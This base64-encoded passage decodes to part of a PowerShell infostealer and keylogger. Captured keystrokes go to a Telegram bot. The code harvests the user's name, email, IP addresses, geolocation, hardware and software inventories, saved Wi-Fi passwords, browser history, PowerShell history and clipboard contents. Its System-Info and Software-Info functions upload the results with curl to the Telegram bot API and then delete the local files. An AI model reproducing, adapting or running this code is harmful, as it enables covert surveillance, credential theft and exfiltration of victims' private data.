DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBLZXlDYXB0dXJlIEtpbGxlZCINCiAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQogICAgICAgIGJyZWFrDQogICAgICAgIH0NCiAgICB9DQogICAgZmluYWxseXsNCiAgICAgICAgSWYgKCRrZXlQcmVzc2VkKSB7DQogICAgICAgICAgICAkZXNjbXNnc3lzID0gJG5vc2F2ZSAtcmVwbGFjZSAnWyY8Pl0nLCB7JGFyZ3NbMF0uVmFsdWUuUmVwbGFjZSgnJicsICcmYW1wOycpLlJlcGxhY2UoJzwnLCAnJmx0OycpLlJlcGxhY2UoJz4nLCAnJmd0OycpfQ0KICAgICAgICAgICAgJHRpbWVzdGFtcCA9IEdldC1EYXRlIC1Gb3JtYXQgImRkLU1NLXl5eXkgSEg6bW06c3MiDQogICAgICAgICAgICAkY29udGVudHMgPSAiJGdsYXNzIEtleXMgQ2FwdHVyZWQgOiAiKyRlc2Ntc2dzeXMNCiAgICAgICAgICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJGZhbHNlDQogICAgICAgICAgICAkbm9zYXZlID0gIiINCiAgICAgICAgfQ0KICAgIH0NCiRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAxMA0KfQ0KfQ0KDQpGdW5jdGlvbiBTeXN0ZW0tSW5mb3sNCiRmdWxsTmFtZSA9IE5ldCBVc2VyICRFbnY6dXNlcm5hbWUgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICJGdWxsIE5hbWUiOyRmdWxsTmFtZSA9ICgiJGZ1bGxOYW1lIikuVHJpbVN0YXJ0KCJGdWxsIikNCiRlbWFpbCA9IEdQUkVTVUxUIC1aIC9VU0VSICRFbnY6dXNlcm5hbWUgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICIoW2EtekEtWjAtOV9cLVwuXSspQChbYS16QS1aMC05X1wtXC5dKylcLihbYS16QS1aXXsyLDV9KSIgLUFsbE1hdGNoZXM7JGVtYWlsID0gKCIkZW1haWwiKS5UcmltKCkNCiRjb21wdXRlclB1YklQPShJbnZva2UtV2ViUmVxdWVzdCBpcGluZm8uaW8vaXAgLVVzZUJhc2ljUGFyc2luZykuQ29udGVudA0KJGNvbXB1dGVySVAgPSBnZXQtV21pT2JqZWN0IFdpbjMyX05ldHdvcmtBZGFwdGVyQ29uZmlndXJhdGlvbnxXaGVyZSB7JF8uSXBhZGRyZXNzLmxlbmd0aCAtZ3QgMX0NCiROZWFyYnlXaWZpID0gKG5ldHNoIHdsYW4gc2hvdyBuZXR3b3JrcyBtb2RlPUJzc2lkIHwgP3skXyAtbGlrZSAiU1NJRCoiIC1vciAkXyAtbGlrZSAiKkF1dGhlbnRpY2F0aW9uKiIgLW9yICRfIC1saWtlICIqRW5jcnlwdGlvbioifSkudHJpbSgpDQokTmV0d29yayA9IEdldC1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgd2hlcmUgeyAkXy5NQUNBZGRyZXNzIC1ub3RsaWtlICRudWxsIH0gIHwgc2VsZWN0IEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIHwgRm9ybWF0LVRhYmxlIEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIA0KJGNvbXB1dGVyU3lzdGVtID0gR2V0LUNpbUluc3RhbmNlIENJTV9Db21wdXRlclN5c3RlbQ0KJGNvbXB1dGVyQklPUyA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQklPU0VsZW1lbnQNCiRjb21wdXRlck9zPUdldC1XbWlPYmplY3Qgd2luMzJfb3BlcmF0aW5nc3lzdGVtIHwgc2VsZWN0IENhcHRpb24sIENTTmFtZSwgVmVyc2lvbiwgQHtOYW1lPSJJbnN0YWxsRGF0ZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkluc3RhbGxEYXRlKX19ICwgQHtOYW1lPSJMYXN0Qm9vdFVwVGltZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkxhc3RCb290VXBUaW1lKX19LCBAe05hbWU9IkxvY2FsRGF0ZVRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5Mb2NhbERhdGVUaW1lKX19LCBDdXJyZW50VGltZVpvbmUsIENvdW50cnlDb2RlLCBPU0xhbmd1YWdlLCBTZXJpYWxOdW1iZXIsIFdpbmRvd3NEaXJlY3RvcnkgIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlckNwdT1HZXQtV21pT2JqZWN0IFdpbjMyX1Byb2Nlc3NvciB8IHNlbGVjdCBEZXZpY2VJRCwgTmFtZSwgQ2FwdGlvbiwgTWFudWZhY3R1cmVyLCBNYXhDbG9ja1NwZWVkLCBMMkNhY2hlU2l6ZSwgTDJDYWNoZVNwZWVkLCBMM0NhY2hlU2l6ZSwgTDNDYWNoZVNwZWVkIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlck1haW5ib2FyZD1HZXQtV21pT2JqZWN0IFdpbjMyX0Jhc2VCb2FyZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJSYW1DYXBhY2l0eT1HZXQtV21pT2JqZWN0IFdpbjMyX1BoeXNpY2FsTWVtb3J5IHwgTWVhc3VyZS1PYmplY3QgLVByb3BlcnR5IGNhcGFjaXR5IC1TdW0gfCAlIHsgInswOk4xfSBHQiIgLWYgKCRfLnN1bSAvIDFHQil9DQokY29tcHV0ZXJSYW09R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IHNlbGVjdCBEZXZpY2VMb2NhdG9yLCBAe05hbWU9IkNhcGFjaXR5IjtFeHByZXNzaW9uPXsgInswOk4xfSBHQiIgLWYgKCRfLkNhcGFjaXR5IC8gMUdCKX19LCBDb25maWd1cmVkQ2xvY2tTcGVlZCwgQ29uZmlndXJlZFZvbHRhZ2UgfCBGb3JtYXQtVGFibGUNCiR2aWRlb2NhcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtVGFibGUgTmFtZSwgVmlkZW9Qcm9jZXNzb3IsIERyaXZlclZlcnNpb24sIEN1cnJlbnRIb3Jpem9udGFsUmVzb2x1dGlvbiwgQ3VycmVudFZlcnRpY2FsUmVzb2x1dGlvbg0KJEhkZHMgPSBHZXQtV21pT2JqZWN0IFdpbjMyX0xvZ2ljYWxEaXNrIHwgc2VsZWN0IERldmljZUlELCBWb2x1bWVOYW1lLCBGaWxlU3lzdGVtLEB7TmFtZT0iU2l6ZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLlNpemUgLyAxR2IpfX0sIEB7TmFtZT0iRnJlZVNwYWNlX0dCIjtFeHByZXNzaW9uPXsiezA6TjF9IEdCIiAtZiAoJF8uRnJlZVNwYWNlIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9wZXJjZW50IjtFeHByZXNzaW9uPXsiezA6TjF9JSIgLWYgKCgxMDAgLyAoJF8uU2l6ZSAvICRfLkZyZWVTcGFjZSkpKX19IHwgRm9ybWF0LVRhYmxlIERldmljZUlELCBWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHsgTmFtZT0iU2l6ZSBHQiI7IEV4cHJlc3Npb249eyRfLlNpemVfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgR0IiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgJSI7IEV4cHJlc3Npb249eyRfLkZyZWVTcGFjZV9wZXJjZW50fTsgYWxpZ249InJpZ2h0IjsgfQ0KJENPTURldmljZXMgPSBHZXQtV21pb2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCBGb3JFYWNoLU9iamVjdHtbV21pXSgkXy5EZXBlbmRlbnQpfSB8IFNlbGVjdC1PYmplY3QgTmFtZSwgRGV2aWNlSUQsIE1hbnVmYWN0dXJlciB8IFNvcnQtT2JqZWN0IC1EZXNjZW5kaW5nIE5hbWUgfCBGb3JtYXQtVGFibGUNCiRzeXN0ZW1Mb2NhbGUgPSBHZXQtV2luU3lzdGVtTG9jYWxlOyRzeXN0ZW1MYW5ndWFnZSA9ICRzeXN0ZW1Mb2NhbGUuTmFtZQ0KJHVzZXJMYW5ndWFnZUxpc3QgPSBHZXQtV2luVXNlckxhbmd1YWdlTGlzdDska2V5Ym9hcmRMYXlvdXRJRCA9ICR1c2VyTGFuZ3VhZ2VMaXN0WzBdLklucHV0TWV0aG9kVGlwc1swXQ0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uRGV2aWNlOyRHZW9sb2NhdGUgPSBOZXctT2JqZWN0IFN5c3RlbS5EZXZpY2UuTG9jYXRpb24uR2VvQ29vcmRpbmF0ZVdhdGNoZXI7JEdlb2xvY2F0ZS5TdGFydCgpDQp3aGlsZSAoKCRHZW9sb2NhdGUuU3RhdHVzIC1uZSAnUmVhZHknKSAtYW5kICgkR2VvbG9jYXRlLlBlcm1pc3Npb24gLW5lICdEZW5pZWQnKSkge1N0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMTAwfSAgDQokR2VvbG9jYXRlLlBvc2l0aW9uLkxvY2F0aW9uIHwgU2VsZWN0IExhdGl0dWRlLExvbmdpdHVkZQ0KJG91dHNzaWQ9IiI7JGE9MDskd3M9KG5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcykgLXJlcGxhY2UgIi4qOlxzKyI7Zm9yZWFjaCgkcyBpbiAkd3Mpew0KaWYoJGEgLWd0IDEgLUFuZCAkcyAtTm90TWF0Y2ggIiBwb2xpY3kgIiAtQW5kICRzIC1uZSAiVXNlciBwcm9maWxlcyIgLUFuZCAkcyAtTm90TWF0Y2ggIi0tLS0tIiAtQW5kICRzIC1Ob3RNYXRjaCAiPE5vbmU+IiAtQW5kICRzLmxlbmd0aCAtZ3QgNSl7JHNzaWQ9JHMuVHJpbSgpO2lmKCRzIC1NYXRjaCAiOiIpeyRzc2lkPSRzLlNwbGl0KCI6IilbMV0uVHJpbSgpfQ0KJHB3PShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMgbmFtZT0kc3NpZCBrZXk9Y2xlYXIpOyRwYXNzPSJOb25lIjtmb3JlYWNoKCRwIGluICRwdyl7aWYoJHAgLU1hdGNoICJLZXkgQ29udGVudCIpeyRwYXNzPSRwLlNwbGl0KCI6IilbMV0uVHJpbSgpOyRvdXRzc2lkKz0iU1NJRDogJHNzaWQgOiBQYXNzd29yZDogJHBhc3NgbiJ9fX0kYSsrO30NCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxTeXN0ZW1JbmZvLnR4dCINCiJVU0VSIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJDQoiRnVsbCBOYW1lICAgICAgICAgIDogJGZ1bGxOYW1lIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkVtYWlsIEFkZHJlc3MgICAgICA6ICRlbWFpbCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJMb2NhdGlvbiAgICAgICAgICAgOiAkR2VvbG9jYXRlIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNvbXB1dGVyIE5hbWUgICAgICA6ICRlbnY6Q09NUFVURVJOQU1FIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkxhbmd1YWdlICAgICAgICAgICA6ICRzeXN0ZW1MYW5ndWFnZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJLZXlib2FyZCBMYXlvdXQgICAgOiAka2V5Ym9hcmRMYXlvdXRJRCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJORVRXT1JLIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQdWJsaWMgSVAgICAgICAgICAgOiAkY29tcHV0ZXJQdWJJUCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTYXZlZCBOZXR3b3JrcyAgICAgOiAkb3V0c3NpZCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJMb2NhbCBJUCAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJGNvbXB1dGVySVB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQWRhcHRlcnMgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRuZXR3b3JrfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KImBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkhBUkRXQVJFIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJjb21wdXRlciAgICAgICAgICAgOiAkY29tcHV0ZXJTeXN0ZW0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQklPUyBJbmZvICAgICAgICAgIDogJGNvbXB1dGVyQklPUyIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJSQU0gSW5mbyAgICAgICAgICAgOiAkY29tcHV0ZXJSYW1DYXBhY2l0eSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJSYW18IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiT1MgSW5mbyAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlck9zfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNQVSBJbmZvICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJDcHV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiR3JhcGhpY3MgSW5mbyAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCR2aWRlb2NhcmR8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEREIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRIZGRzfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlVTQiBJbmZvICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkQ09NRGV2aWNlc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCg0KRnVuY3Rpb24gU29mdHdhcmUtSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxTb2Z0d2FyZUluZm8udHh0Ig0KIlNPRlRXQVJFIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJJbnN0YWxsZWQgU29mdHdhcmUgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlByb2Nlc3NlcyAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHJvY2Vzc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNlcnZpY2V8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRHJpdmVycyAgICAgICAgICAgIDogJGRyaXZlcnMiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQokRmlsZVBhdGggPSAiJGVudjp0ZW1wXFNvZnR3YXJlSW5mby50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCg0KRnVuY3Rpb24gSGlzdG9yeS1JbmZvew0KJFJlZ2V4ID0gJyhodHRwfGh0dHBzKTovLyhbXHctXStcLikrW1x3LV0rKC9bXHctIC4vPyUmPV0qKSo/JzskUGF0aCA9ICIkRW52OlVTRVJQUk9GSUxFXEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm9tZVxVc2VyIERhdGFcRGVmYXVsdFxIaXN0b3J5Ig0KJFZhbHVlID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGggfCBTZWxlY3QtU3RyaW5nIC1BbGxNYXRjaGVzICRyZWdleCB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUgfCBGb3JFYWNoLU9iamVjdCB7JEtleSA9ICRfO2lmICgkS2V5IC1tYXRjaCAkU2VhcmNoKXtOZXctT2JqZWN0IC1UeXBlTmFtZSBQU09iamVjdCAtUHJvcGVydHkgQHtVc2VyID0gJGVudjpVc2VyTmFtZTtCcm93c2VyID0gJ2Nocm9tZSc7RGF0YVR5cGUgPSAnaGlzdG9yeSc7RGF0YSA9ICRffX19DQokUmVnZXgyID0gJyhodHRwfGh0dHBzKTovLyhbXHctXStcLikrW1x3LV0rKC9bXHctIC4vPyUmPV0qKSo/JzskUGF0aGVkID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnQvRWRnZS9Vc2VyIERhdGEvRGVmYXVsdC9IaXN0b3J5Ig0KJFZhbHVlMiA9IEdldC1Db250ZW50IC1QYXRoICRQYXRoZWQgfCBTZWxlY3QtU3RyaW5nIC1BbGxNYXRjaGVzICRyZWdleDIgfCUgeygkXy5NYXRjaGVzKS5WYWx1ZX0gfFNvcnQgLVVuaXF1ZQ0KJFZhbHVlMiB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRwc2hpc3QgPSAiJGVudjpVU0VSUFJPRklMRVxBcHBEYXRhXFJvYW1pbmdcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxQU1JlYWRMaW5lXENvbnNvbGVIb3N0X2hpc3RvcnkudHh0IjskcHNoaXN0b3J5ID0gR2V0LUNvbnRlbnQgJHBzaGlzdCAtcmF3DQokb3V0cGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQoiSElTVE9SWSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQ2xpcGJvYXJkICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKEdldC1DbGlwYm9hcmQgfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJyb3dzZXIgSGlzdG9yeSAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS